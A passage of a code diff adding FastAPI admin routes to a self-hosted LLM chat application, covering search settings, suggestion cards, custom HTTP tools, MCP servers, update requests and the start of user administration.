+    firecrawl_base_url: str = Form(""),
+    firecrawl_api_key: str = Form(""),
+    timeout: float = Form(20.0),
+    allow_private_fetch: bool = Form(False),
+    fetch_enabled: bool = Form(False),
+) -> Response:
+    current = settings_store.search(db)
+    known = {p.key for p in search_service.PROVIDERS}
+
+    settings_store.update(
+        db,
+        {
+            "enabled": enabled,
+            "provider": provider if provider in known else "ddgs",
+            # An upper bound on what any single search may put in the prompt.
+            # Twenty results is already more than a model reads carefully.
+            "max_results": min(max(max_results, 1), 20),
+            "region": region.strip()[:16] or "wt-wt",
+            "safesearch": safesearch if safesearch in SAFESEARCH else "moderate",
+            "searxng_base_url": searxng_base_url.strip().rstrip("/"),
+            "firecrawl_base_url": firecrawl_base_url.strip().rstrip("/")
+            or "https://api.firecrawl.dev",
+            "firecrawl_api_key_encrypted": keep_or_replace(
+                firecrawl_api_key, current.get("firecrawl_api_key_encrypted") or ""
+            ),
+            "timeout": min(max(timeout, 5.0), 120.0),
+            "allow_private_fetch": allow_private_fetch,
+            "fetch_enabled": fetch_enabled,
+        },
+        key=settings_store.SEARCH,
+    )
+    log.info("web search %s by %s", "enabled" if enabled else "disabled", user.email)
+    return RedirectResponse("/admin/search?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/test")
+async def test_search(request: Request, db: Db, user: AdminUser, query: str = Form("")):
+    """Run one real search and show what came back.
+
+    Against the stored settings rather than the unsaved form, so what is tested
+    is what a chat would actually do.
+    """
+    config = settings_store.search(db)
+    query = query.strip() or "lembas"
+
+    try:
+        results = await search_service.run(config, query)
+        message, kind = (
+            f"{search_service.provider(config.get('provider')).label} returned "
+            f"{len(results)} result{'' if len(results) == 1 else 's'}."
+        ), "success"
+    except SearchError as exc:
+        results, message, kind = [], exc.message, "error"
+
+    return render(
+        request,
+        "admin/_search_result.html",
+        {"results": results, "message": message, "message_kind": kind, "query": query},
+    )

src/lembas/api/admin_suggestions.py

@@ -0,0 +1,113 @@
+"""Administration for the cards offered on the new-chat screen."""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, HTTPException, Request, Response, status
+from fastapi.responses import RedirectResponse
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import Suggestion
+from lembas.services import suggestions as suggestions_service
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/suggestions", tags=["admin-suggestions"])
+
+
+def _suggestion(db: Db, suggestion_id: str) -> Suggestion:
+    suggestion = db.get(Suggestion, suggestion_id)
+    if suggestion is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That suggestion no longer exists.")
+    return suggestion
+
+
+def _back(message: str = "") -> Response:
+    target = f"/admin/suggestions?saved={message}" if message else "/admin/suggestions"
+    return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.get("")
+async def suggestions_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
+    rows = suggestions_service.all_of_them(db)
+    return render(
+        request,
+        "admin/suggestions.html",
+        {
+            "suggestions": rows,
+            "at_limit": len(rows) >= suggestions_service.MAX_SUGGESTIONS,
+            "max_suggestions": suggestions_service.MAX_SUGGESTIONS,
+            "max_shown": suggestions_service.MAX_SHOWN,
+            "saved": saved,
+        },
+    )
+
+
+@router.post("")
+async def create_suggestion(
+    db: Db,
+    user: AdminUser,
+    name: str = Form(""),
+    description: str = Form(""),
+    prompt: str = Form(""),
+) -> Response:
+    name = name.strip()
+    if not name:
+        return _back("A suggestion needs a name.")
+    if len(suggestions_service.all_of_them(db)) >= suggestions_service.MAX_SUGGESTIONS:
+        return _back(f"That is already {suggestions_service.MAX_SUGGESTIONS}, which is plenty.")
+
+    suggestions_service.create(db, name=name, description=description, prompt=prompt)
+    log.info("%s added suggestion %s", user.email, name)
+    return _back(f"Added {name}.")
+
+
+# Registered before /{suggestion_id}: FastAPI matches in registration order, so
+# with the parameterised route first any literal segment added later would be
+# captured as an id. That has already been a bug once, in /admin/models.
+@router.post("/{suggestion_id}/delete")
+async def delete_suggestion(db: Db, user: AdminUser, suggestion_id: str) -> Response:
+    suggestion = _suggestion(db, suggestion_id)
+    name = suggestion.name
+    db.delete(suggestion)
+    db.commit()
+    log.info("%s deleted suggestion %s", user.email, name)
+    return _back(f"Deleted {name}.")
+
+
+@router.post("/{suggestion_id}")
+async def update_suggestion(
+    request: Request,
+    db: Db,
+    user: AdminUser,
+    suggestion_id: str,
+) -> Response:
+    """Save one row.
+
+    The raw form is read rather than declared parameters because `enabled` is a
+    checkbox: FastAPI cannot tell an unticked box from an absent field, and an
+    absent one is exactly what an unticked box sends.
+    """
+    suggestion = _suggestion(db, suggestion_id)
+    form = await request.form()
+
+    suggestion.name = (
+        str(form.get("name") or "").strip()[: suggestions_service.MAX_NAME] or suggestion.name
+    )
+    suggestion.description = str(form.get("description") or "").strip()[
+        : suggestions_service.MAX_DESCRIPTION
+    ]
+    suggestion.prompt = str(form.get("prompt") or "").replace("\r\n", "\n")[
+        : suggestions_service.MAX_PROMPT
+    ]
+    suggestion.enabled = "enabled" in form
+
+    position = str(form.get("position") or "").strip()
+    if position.isdigit():
+        suggestion.position = min(max(int(position) - 1, 0), 999)
+
+    db.commit()
+    log.info("%s updated suggestion %s", user.email, suggestion.name)
+    return _back(f"Saved {suggestion.name}.")

src/lembas/api/admin_tools.py

@@ -0,0 +1,661 @@
+"""Administration for the tools an administrator defines.
+
+List-plus-detail, like `/admin/models` and for the same reason: a tool has
+fifteen fields and a page that renders fifteen fields per row is unusable. The
+list is compact and searchable; the whole form lives at `/admin/tools/{id}/edit`.
+
+Validation reports back into the form rather than raising a 422. The fields here
+are a JSON schema, a URL template and a secret; getting one wrong is normal, and
+losing the other fourteen because of it is not acceptable. So a rejected save
+re-renders the form from what was submitted, with the reason.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import re
+from datetime import UTC, datetime
+
+from fastapi import APIRouter, HTTPException, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, select
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import (
+    RESPONSE_JSON,
+    RESPONSE_MODES,
+    RESPONSE_RAW,
+    RESPONSE_TEXT,
+    SECRET_NONE,
+    SECRET_PLACEMENTS,
+    CustomTool,
+    Group,
+    McpServer,
+)
+from lembas.services import custom_tools
+from lembas.services import prompts as prompts_service
+from lembas.services import tools as tools_service
+from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
+from lembas.services.fetch import FetchError, check_url
+from lembas.services.mcp import client as mcp_client
+from lembas.services.mcp import registry as mcp_registry
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(tags=["admin-tools"])
+
+PAGE_SIZE = 40
+
+# The slug is the function name sent to the endpoint, so it is bound by the
+# charset those accept, and it is half of this tool's prompt-fragment key, so it
+# is bound by that pattern too. The intersection is this.
+SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,47}$")
+
+FILTERS: dict[str, tuple[str, object]] = {
+    "all": ("All", lambda t: True),
+    "enabled": ("Enabled", lambda t: t.enabled),
+    "disabled": ("Disabled", lambda t: not t.enabled),
+    "restricted": ("Restricted", lambda t: not t.public),
+}
+
+RESPONSE_LABELS = (
+    (RESPONSE_TEXT, "Text — HTML reduced to prose"),
+    (RESPONSE_JSON, "JSON — parsed, narrowed by the path below"),
+    (RESPONSE_RAW, "Raw — exactly as it arrived"),
+)
+
+SECRET_LABELS = (
+    (SECRET_NONE, "None — this endpoint needs no credential"),
+    ("bearer", "Bearer token in a header"),
+    ("header", "The header named below, verbatim"),
+    ("query", "A query parameter named below"),
+)
+
+
+def _tool(db: Db, tool_id: str) -> CustomTool:
+    tool = db.get(CustomTool, tool_id)
+    if tool is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That tool no longer exists.")
+    return tool
+
+
+def _ordered(db: Db) -> list[CustomTool]:
+    return list(db.scalars(select(CustomTool).order_by(CustomTool.position, CustomTool.slug)))
+
+
+def _back(message: str = "") -> Response:
+    target = f"/admin/tools?saved={message}" if message else "/admin/tools"
+    return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
+
+
+# --- Form <-> row ------------------------------------------------------------
+def _headers_text(headers: dict) -> str:
+    return "\n".join(f"{name}: {value}" for name, value in (headers or {}).items())
+
+
+def _parse_headers(text: str) -> dict[str, str]:
+    """One `Name: value` per line. Blank lines and lines with no colon are dropped."""
+    out: dict[str, str] = {}
+    for line in (text or "").splitlines():
+        name, _, value = line.partition(":")
+        if name.strip() and _:
+            out[name.strip()] = value.strip()
+    return out
+
+
+def _number(raw: str, *, default: int, low: int, high: int) -> int:
+    text = str(raw or "").strip()
+    if not text.lstrip("-").isdigit():
+        return default
+    return min(max(int(text), low), high)
+
+
+def _populate(tool: CustomTool, form) -> None:
+    """Copy a submitted form onto a row (or a draft of one).
+
+    Checkboxes are read by key presence: FastAPI cannot tell `x=` from an absent
+    `x`, and an absent one is exactly what an unticked box sends.
+    """
+    tool.name = str(form.get("name") or "").strip()[:120]
+    tool.description = str(form.get("description") or "").strip()
+    tool.guidance = str(form.get("guidance") or "").replace("\r\n", "\n").strip()
+    tool.method = str(form.get("method") or "GET").strip().upper()
+    tool.url_template = str(form.get("url_template") or "").strip()[:1000]
+    tool.body_template = str(form.get("body_template") or "").replace("\r\n", "\n")
+    tool.headers_json = _parse_headers(str(form.get("headers") or ""))
+
+    placement = str(form.get("secret_placement") or SECRET_NONE)
+    tool.secret_placement = placement if placement in SECRET_PLACEMENTS else SECRET_NONE
+    tool.secret_name = str(form.get("secret_name") or "Authorization").strip()[:120]
+
+    mode = str(form.get("response_mode") or RESPONSE_TEXT)
+    tool.response_mode = mode if mode in RESPONSE_MODES else RESPONSE_TEXT
+    tool.response_path = str(form.get("response_path") or "").strip()[:300]
+
+    tool.max_chars = _number(
+        form.get("max_chars"),
+        default=8000,
+        low=custom_tools.MIN_CHARS,
+        high=custom_tools.MAX_CHARS,
+    )
+    tool.timeout = _number(
+        form.get("timeout"),
+        default=20,
+        low=custom_tools.MIN_TIMEOUT,
+        high=custom_tools.MAX_TIMEOUT,
+    )
+    tool.position = _number(form.get("position"), default=tool.position or 0, low=0, high=999)
+
+    tool.allow_private = "allow_private" in form
+    tool.enabled = "enabled" in form
+    tool.public = "public" in form
+
+
+def _problem(db: Db, tool: CustomTool, form, *, existing_id: str = "") -> str:
+    """Why this cannot be saved, or an empty string."""
+    if not tool.name:
+        return "A tool needs a name."
+
+    slug = str(form.get("slug") or "").strip().lower()
+    if not SLUG_PATTERN.match(slug):
+        return (
+            "The identifier must be lowercase letters, digits, hyphens or "
+            "underscores, start with a letter or digit, and be at most 48 "
+            "characters. It is the name the model calls."
+        )
+    if slug in tools_service.REGISTRY:
+        return f"“{slug}” is the name of a built-in tool. Choose another."
+    clash = db.scalar(select(CustomTool).where(CustomTool.slug == slug))
+    if clash is not None and clash.id != existing_id:
+        return f"There is already a tool called “{slug}”."
+    tool.slug = slug
+
+    if tool.method not in custom_tools.ALLOWED_METHODS:
+        return f"{tool.method} is not a method this can send."
+
+    raw = str(form.get("parameters") or "").strip() or '{"type": "object", "properties": {}}'
+    try:
+        parameters = json.loads(raw)
+    except json.JSONDecodeError as exc:
+        return f"The parameters are not valid JSON: {exc}"
+    if not isinstance(parameters, dict) or parameters.get("type") != "object":
+        return 'The parameters must be a JSON object whose "type" is "object".'
+    tool.parameters_json = parameters
+
+    # The same check the runner makes, so a template that could never be called
+    # is refused here rather than at the first call.
+    try:
+        custom_tools.fill_url(custom_tools.spec_from(tool), {})
+    except Exception as exc:  # noqa: BLE001 - any refusal is a message for the form
+        return str(getattr(exc, "message", exc))
+
+    return ""
+
+
+def _detail(request: Request, db: Db, tool: CustomTool, *, is_new: bool, error: str = "", **extra):
+    key = f"tool.custom_{tool.slug}" if tool.slug else ""
+    return render(
+        request,
+        "admin/tool_detail.html",
+        {
+            "tool": tool,
+            "is_new": is_new,
+            "error": error,
+            "groups": list(db.scalars(select(Group).order_by(Group.name))),
+            "selected_groups": extra.pop(
+                "selected_groups", {group.id for group in (tool.groups if tool.id else [])}
+            ),
+            "headers_text": extra.pop("headers_text", _headers_text(tool.headers_json)),
+            "parameters_text": extra.pop(
+                "parameters_text", json.dumps(tool.parameters_json or {}, indent=2)
+            ),
+            "masked": mask(decrypt(tool.secret_encrypted)) if tool.secret_encrypted else "",
+            "unchanged": UNCHANGED_SENTINEL,
+            "methods": custom_tools.ALLOWED_METHODS,
+            "response_modes": RESPONSE_LABELS,
+            "secret_placements": SECRET_LABELS,
+            "prompt_key": key,
+            "prompt_overridden": key in prompts_service.stored(db),
+            **extra,
+        },
+    )
+
+
+# --- The list ----------------------------------------------------------------
+@router.get("/admin/tools")
+async def tools_page(
+    request: Request,
+    db: Db,
+    user: AdminUser,
+    saved: str = "",
+    q: str = "",
+    filter: str = "all",
+    page: int = 1,
+):
+    everything = _ordered(db)
+    predicate = FILTERS.get(filter, FILTERS["all"])[1]
+    needle = q.strip().lower()
+    matching = [
+        tool
+        for tool in everything
+        if predicate(tool)
+        and (not needle or needle in tool.slug.lower() or needle in (tool.name or "").lower())
+    ]
+
+    pages = max(1, -(-len(matching) // PAGE_SIZE))
+    page = max(1, min(page, pages))
+    start = (page - 1) * PAGE_SIZE
+
+    return render(
+        request,
+        "admin/tools.html",
+        {
+            "tools": matching[start : start + PAGE_SIZE],
+            "total": len(everything),
+            "matched": len(matching),
+            "page": page,
+            "pages": pages,
+            "page_start": start,
+            "counts": {
+                key: sum(1 for tool in everything if rule(tool))
+                for key, (_label, rule) in FILTERS.items()
+            },
+            "filters": {key: label for key, (label, _rule) in FILTERS.items()},
+            "active_filter": filter if filter in FILTERS else "all",
+            "q": q,
+            "saved": saved,
+        },
+    )
+
+
+# Registered before /{tool_id}: FastAPI matches in registration order, so with
+# the parameterised route first "new" is captured as an id and the handler 404s
+# on a tool that does not exist. This has already been a bug once, in
+# /admin/models.
+@router.get("/admin/tools/new")
+async def new_tool_page(request: Request, db: Db, user: AdminUser):
+    draft = CustomTool(
+        name="",
+        slug="",
+        method="GET",
+        url_template="https://",
+        parameters_json={"type": "object", "properties": {}, "required": []},
+        secret_placement=SECRET_NONE,
+        response_mode=RESPONSE_TEXT,
+        max_chars=8000,
+        timeout=20,
+        enabled=True,
+        public=True,
+        position=0,
+    )
+    return _detail(request, db, draft, is_new=True)
+
+
+@router.post("/admin/tools")
+async def create_tool(request: Request, db: Db, user: AdminUser) -> Response:
+    form = await request.form()
+    draft = CustomTool(headers_json={}, parameters_json={})
+    _populate(draft, form)
+    draft.position = db.scalar(select(func.coalesce(func.max(CustomTool.position), -1))) + 1
+
+    problem = _problem(db, draft, form)
+    if problem:
+        return _detail(
+            request,
+            db,
+            draft,
+            is_new=True,
+            error=problem,
+            headers_text=str(form.get("headers") or ""),
+            parameters_text=str(form.get("parameters") or ""),
+            selected_groups=set(form.getlist("group_ids")),
+        )
+
+    draft.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), "")
+    draft.groups = _chosen_groups(db, form, public=draft.public)
+    db.add(draft)
+    db.commit()
+    log.info("%s added custom tool %s", user.email, draft.slug)
+    return _back(f"Added {draft.name}.")
+
+
+def _chosen_groups(db: Db, form, *, public: bool) -> list[Group]:
+    """A public tool holds no groups, the way a public model holds none."""
+    if public:
+        return []
+    ids = set(form.getlist("group_ids"))
+    return list(db.scalars(select(Group).where(Group.id.in_(ids)))) if ids else []
+
+
+@router.get("/admin/tools/{tool_id}/edit")
+async def edit_tool_page(request: Request, db: Db, user: AdminUser, tool_id: str):
+    return _detail(request, db, _tool(db, tool_id), is_new=False)
+
+
+@router.post("/admin/tools/{tool_id}/test")
+async def test_tool(request: Request, db: Db, user: AdminUser, tool_id: str):
+    """Call the stored row once, with arguments the administrator typed.
+
+    The stored row rather than the submitted form, so what is tested is what a
+    chat would actually do -- the same reason `/admin/search/test` reads the
+    saved provider settings.
+    """
+    tool = _tool(db, tool_id)
+    form = await request.form()
+    raw = str(form.get("arguments") or "").strip() or "{}"
+
+    try:
+        arguments = json.loads(raw)
+        if not isinstance(arguments, dict):
+            raise ValueError("Arguments must be a JSON object.")
+    except (json.JSONDecodeError, ValueError) as exc:
+        return render(
+            request,
+            "admin/_tool_test.html",
+            {"tool": tool, "error": f"Those arguments are not a JSON object: {exc}"},
+        )
+
+    outcome = await custom_tools.call(custom_tools.spec_from(tool), arguments)
+    tool.last_error = str(outcome.event.get("error") or "")
+    tool.last_checked_at = datetime.now(UTC)
+    db.commit()
+
+    return render(
+        request,
+        "admin/_tool_test.html",
+        {
+            "tool": tool,
+            "outcome": outcome,
+            "error": outcome.event.get("error") or "",
+            "detail": outcome.event.get("detail") or "",
+        },
+    )
+
+
+@router.post("/admin/tools/{tool_id}/delete")
+async def delete_tool(db: Db, user: AdminUser, tool_id: str) -> Response:
+    tool = _tool(db, tool_id)
+    name = tool.name
+    db.delete(tool)
+    db.commit()
+    log.info("%s deleted custom tool %s", user.email, name)
+    return _back(f"Deleted {name}.")
+
+
+@router.post("/admin/tools/{tool_id}")
+async def update_tool(request: Request, db: Db, user: AdminUser, tool_id: str) -> Response:
+    tool = _tool(db, tool_id)
+    form = await request.form()
+
+    # Validated against a draft so that a rejected save leaves the stored row
+    # untouched and the form still holds what was typed.
+    draft = CustomTool(headers_json={}, parameters_json={}, position=tool.position)
+    _populate(draft, form)
+    problem = _problem(db, draft, form, existing_id=tool.id)
+    if problem:
+        draft.id = tool.id
+        draft.secret_encrypted = tool.secret_encrypted
+        return _detail(
+            request,
+            db,
+            draft,
+            is_new=False,
+            error=problem,
+            headers_text=str(form.get("headers") or ""),
+            parameters_text=str(form.get("parameters") or ""),
+            selected_groups=set(form.getlist("group_ids")),
+        )
+
+    _populate(tool, form)
+    tool.slug = draft.slug
+    tool.parameters_json = draft.parameters_json
+    tool.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), tool.secret_encrypted)
+    tool.groups = _chosen_groups(db, form, public=tool.public)
+    db.commit()
+
+    log.info("%s updated custom tool %s", user.email, tool.slug)
+    return _back(f"Saved {tool.name}.")
+
+
+# --- MCP servers -------------------------------------------------------------
+MCP_SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,23}$")
+
+
+def _server(db: Db, server_id: str) -> McpServer:
+    server = db.get(McpServer, server_id)
+    if server is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That server no longer exists.")
+    return server
+
+
+def _mcp_back(message: str = "") -> Response:
+    target = f"/admin/mcp?saved={message}" if message else "/admin/mcp"
+    return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
+
+
+def _populate_server(server: McpServer, form) -> None:
+    server.name = str(form.get("name") or "").strip()[:120]
+    server.url = str(form.get("url") or "").strip()[:1000]
+    server.guidance = str(form.get("guidance") or "").replace("\r\n", "\n").strip()
+    server.headers_json = _parse_headers(str(form.get("headers") or ""))
+
+    placement = str(form.get("secret_placement") or SECRET_NONE)
+    server.secret_placement = placement if placement in SECRET_PLACEMENTS else SECRET_NONE
+    server.secret_name = str(form.get("secret_name") or "Authorization").strip()[:120]
+
+    server.timeout = _number(
+        form.get("timeout"), default=30, low=mcp_client.MIN_TIMEOUT, high=mcp_client.MAX_TIMEOUT
+    )
+    server.max_chars = _number(
+        form.get("max_chars"), default=8000, low=mcp_client.MIN_CHARS, high=mcp_client.MAX_CHARS
+    )
+    server.position = _number(form.get("position"), default=server.position or 0, low=0, high=999)
+
+    server.allow_private = "allow_private" in form
+    server.enabled = "enabled" in form
+    server.public = "public" in form
+
+    # One checkbox per advertised tool, so an unticked one is absent. The
+    # stored map holds only the refusals; absent means on.
+    if "tool_choices" in form:
+        offered = set(form.getlist("tool_names"))
+        chosen = set(form.getlist("tool_names_on"))
+        server.tool_overrides_json = dict.fromkeys(offered - chosen, False)
+
+
+def _server_problem(db: Db, server: McpServer, form, *, existing_id: str = "") -> str:
+    if not server.name:
+        return "A server needs a name."
+
+    slug = str(form.get("slug") or "").strip().lower()
+    if not MCP_SLUG_PATTERN.match(slug):
+        return (
+            "The identifier must be lowercase letters, digits, hyphens or "
+            "underscores, and at most 24 characters. It prefixes every tool "
+            "name this server offers."
+        )
+    clash = db.scalar(select(McpServer).where(McpServer.slug == slug))
+    if clash is not None and clash.id != existing_id:
+        return f"There is already a server called “{slug}”."
+    server.slug = slug
+
+    try:
+        check_url(server.url, allow_private=True)
+    except FetchError as exc:
+        return exc.message
+    return ""
+
+
+def _server_detail(
+    request: Request, db: Db, server: McpServer, *, is_new: bool, error: str = "", **extra
+):
+    key = f"tool.mcp_{server.slug}" if server.slug else ""
+    overrides = server.tool_overrides_json or {}
+    return render(
+        request,
+        "admin/mcp_detail.html",
+        {
+            "server": server,
+            "is_new": is_new,
+            "error": error,
+            "groups": list(db.scalars(select(Group).order_by(Group.name))),
+            "selected_groups": extra.pop(
+                "selected_groups", {group.id for group in (server.groups if server.id else [])}
+            ),
+            "headers_text": extra.pop("headers_text", _headers_text(server.headers_json)),
+            "tools": [
+                {**entry, "on": overrides.get(entry.get("name"), True)}
+                for entry in (server.tools_json or [])
+                if isinstance(entry, dict)
+            ],
+            "masked": mask(decrypt(server.secret_encrypted)) if server.secret_encrypted else "",
+            "unchanged": UNCHANGED_SENTINEL,
+            "secret_placements": SECRET_LABELS,
+            "prompt_key": key,
+            "prompt_overridden": key in prompts_service.stored(db),
+            **extra,
+        },
+    )
+
+
+@router.get("/admin/mcp")
+async def mcp_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
+    servers = list(db.scalars(select(McpServer).order_by(McpServer.position, McpServer.slug)))
+    return render(
+        request,
+        "admin/mcp.html",
+        {
+            "servers": servers,
+            "counts": {server.id: len(server.tools_json or []) for server in servers},
+            "saved": saved,
+        },
+    )
+
+
+# Registered before /{server_id}, for the reason given above.
+@router.get("/admin/mcp/new")
+async def new_server_page(request: Request, db: Db, user: AdminUser):
+    draft = McpServer(
+        name="",
+        slug="",
+        url="https://",
+        secret_placement=SECRET_NONE,
+        timeout=30,
+        max_chars=8000,
+        enabled=True,
+        public=True,
+        position=0,
+        tools_json=[],
+        tool_overrides_json={},
+    )
+    return _server_detail(request, db, draft, is_new=True)
+
+
+@router.post("/admin/mcp")
+async def create_server(request: Request, db: Db, user: AdminUser) -> Response:
+    form = await request.form()
+    draft = McpServer(headers_json={}, tools_json=[], tool_overrides_json={})
+    _populate_server(draft, form)
+    draft.position = db.scalar(select(func.coalesce(func.max(McpServer.position), -1))) + 1
+
+    problem = _server_problem(db, draft, form)
+    if problem:
+        return _server_detail(
+            request,
+            db,
+            draft,
+            is_new=True,
+            error=problem,
+            headers_text=str(form.get("headers") or ""),
+            selected_groups=set(form.getlist("group_ids")),
+        )
+
+    draft.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), "")
+    draft.groups = _chosen_groups(db, form, public=draft.public)
+    db.add(draft)
+    db.commit()
+
+    # Discovered immediately, the way a new connection's models are: an
+    # administrator who has just typed a URL wants to know whether it answered.
+    count, error = await mcp_registry.refresh(db, draft)
+    log.info("%s added MCP server %s (%d tools)", user.email, draft.slug, count)
+    if error:
+        return _mcp_back(f"Added {draft.name}, but it could not be reached: {error}")
+    return _mcp_back(f"Added {draft.name} — {count} tool(s).")
+
+
+@router.get("/admin/mcp/{server_id}/edit")
+async def edit_server_page(request: Request, db: Db, user: AdminUser, server_id: str):
+    return _server_detail(request, db, _server(db, server_id), is_new=False)
+
+
+@router.post("/admin/mcp/{server_id}/test")
+async def test_server(request: Request, db: Db, user: AdminUser, server_id: str):
+    """Contact the server and cache what it advertises.
+
+    Returns the row fragment, swapped in place, exactly as "Test & refresh"
+    does for a connection.
+    """
+    server = _server(db, server_id)
+    count, error = await mcp_registry.refresh(db, server)
+    message = (
+        f"{server.name}: {error}"
+        if error
+        else f"{server.name}: found {count} tool{'s' if count != 1 else ''}."
+    )
+    return render(
+        request,
+        "admin/_mcp_row.html",
+        {
+            "server": server,
+            "tool_count": len(server.tools_json or []),
+            "message": message,
+            "message_kind": "error" if error else "success",
+        },
+    )
+
+
+@router.post("/admin/mcp/{server_id}/delete")
+async def delete_server(db: Db, user: AdminUser, server_id: str) -> Response:
+    server = _server(db, server_id)
+    name = server.name
+    db.delete(server)
+    db.commit()
+    log.info("%s deleted MCP server %s", user.email, name)
+    return _mcp_back(f"Deleted {name}.")
+
+
+@router.post("/admin/mcp/{server_id}")
+async def update_server(request: Request, db: Db, user: AdminUser, server_id: str) -> Response:
+    server = _server(db, server_id)
+    form = await request.form()
+
+    draft = McpServer(headers_json={}, tools_json=[], position=server.position)
+    _populate_server(draft, form)
+    problem = _server_problem(db, draft, form, existing_id=server.id)
+    if problem:
+        draft.id = server.id
+        draft.secret_encrypted = server.secret_encrypted
+        draft.tools_json = server.tools_json
+        return _server_detail(
+            request,
+            db,
+            draft,
+            is_new=False,
+            error=problem,
+            headers_text=str(form.get("headers") or ""),
+            selected_groups=set(form.getlist("group_ids")),
+        )
+
+    _populate_server(server, form)
+    server.slug = draft.slug
+    server.secret_encrypted = keep_or_replace(
+        str(form.get("secret") or ""), server.secret_encrypted
+    )
+    server.groups = _chosen_groups(db, form, public=server.public)
+    db.commit()
+
+    log.info("%s updated MCP server %s", user.email, server.slug)
+    return _mcp_back(f"Saved {server.name}.")

src/lembas/api/admin_updates.py

@@ -0,0 +1,80 @@
+"""What is running here, and getting to what is not.
+
+Read `services/updates.py` first — the reason the button writes a file rather
+than doing the work is there, and it is the whole design.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Request, Response, status
+from fastapi.responses import RedirectResponse
+
+from lembas.api.deps import AdminUser, Db
+from lembas.services import updates as updates_service
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/updates", tags=["admin-updates"])
+
+
+def _page(request: Request, state, saved: str = "") -> Response:
+    return render(
+        request,
+        "admin/updates.html",
+        {
+            "state": state,
+            "command": updates_service.manual_command(),
+            "saved": saved,
+        },
+    )
+
+
+@router.get("")
+async def updates_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
+    """No network on a page load.
+
+    `read(fetch=False)` compares against whatever the last fetch left behind, so
+    opening this is a few git reads off the local disk. A page that reached the
+    remote every time it was rendered would be one somebody stops opening.
+    """
+    return _page(request, updates_service.read(), saved)
+
+
+@router.post("/check")
+async def check(request: Request, db: Db, user: AdminUser) -> Response:
+    """Ask the remote what is there. The one place this touches the network."""
+    state = updates_service.read(fetch=True)
+    log.info("%s checked for updates", user.email)
+    return _page(request, state)
+
+
+@router.post("/apply")
+async def apply(db: Db, user: AdminUser) -> Response:
+    """Write the request the helper is watching for.
+
+    Refused when the helper is not installed rather than written and left to sit
+    there: a file nothing is watching is a button that reports success and does
+    nothing, which is the failure this codebase keeps cataloguing.
+    """
+    if not updates_service.helper_installed():
+        return RedirectResponse(
+            "/admin/updates?saved=The+update+helper+is+not+installed+on+this+host.",
+            status_code=status.HTTP_303_SEE_OTHER,
+        )
+    problem = updates_service.request_update(user.email)
+    message = problem or "Update requested. The service will restart in a moment."
+    return RedirectResponse(
+        f"/admin/updates?saved={message.replace(' ', '+')}",
+        status_code=status.HTTP_303_SEE_OTHER,
+    )
+
+
+@router.post("/cancel")
+async def cancel(db: Db, user: AdminUser) -> Response:
+    updates_service.clear_request()
+    return RedirectResponse(
+        "/admin/updates?saved=Request+withdrawn.", status_code=status.HTTP_303_SEE_OTHER
+    )

src/lembas/api/admin_users.py

@@ -0,0 +1,401 @@
+"""User and group administration."""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, HTTPException, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, or_, select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import (
+    PRINCIPAL_GROUP,
+    PRINCIPAL_USER,
+    ROLE_ADMIN,
+    ROLE_PENDING,
+    ROLE_USER,
+    Chat,
+    Group,
+    Model,
+    User,
+)
+from lembas.security import permissions
+from lembas.security.passwords import hash_password, validate_password
+from lembas.security.sessions import revoke_all_for_user
+from lembas.services import chat as chat_service
+from lembas.services import settings_store, sharing
+from lembas.services import usage as usage_service
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin", tags=["admin-users"])
+
+ROLES = (ROLE_ADMIN, ROLE_USER, ROLE_PENDING)
+
+
+def _user(db: DBSession, user_id: str) -> User:
+    found = db.get(User, user_id)
+    if found is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That user no longer exists.")
+    return found
+
+
+def _group(db: DBSession, group_id: str) -> Group:
+    found = db.get(Group, group_id)
+    if found is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That group no longer exists.")
+    return found
+
+
+def _admin_count(db: DBSession) -> int:
+    return db.scalar(
+        select(func.count()).select_from(User).where(User.role == ROLE_ADMIN, User.active.is_(True))
+    )
+
+
+def _would_orphan_the_instance(db: DBSession, user: User) -> bool:
+    """True if changing this user would leave nobody able to administer.
+
+    An instance with no active administrator can only be recovered from the
+    command line, so every path that could cause it is blocked in the UI.
+    """
+    return user.role == ROLE_ADMIN and user.active and _admin_count(db) <= 1
+
+
+# --- Users -------------------------------------------------------------------
+# List plus detail, which is the shape this codebase already mandates for admin
+# lists and the one `/admin/models` follows. The single page it replaces
+# rendered a full form per account *and* a membership grid, and edited that
+# membership from the opposite side to `/admin/groups` -- so a full-form POST
+# from either overwrote what the other had just shown.
+#
+# Membership is now edited from **one** side, the group's. A user's page links
+# to their groups and does not offer to change them, because two controls
+# writing one value is how each becomes the answer to "why did my change not
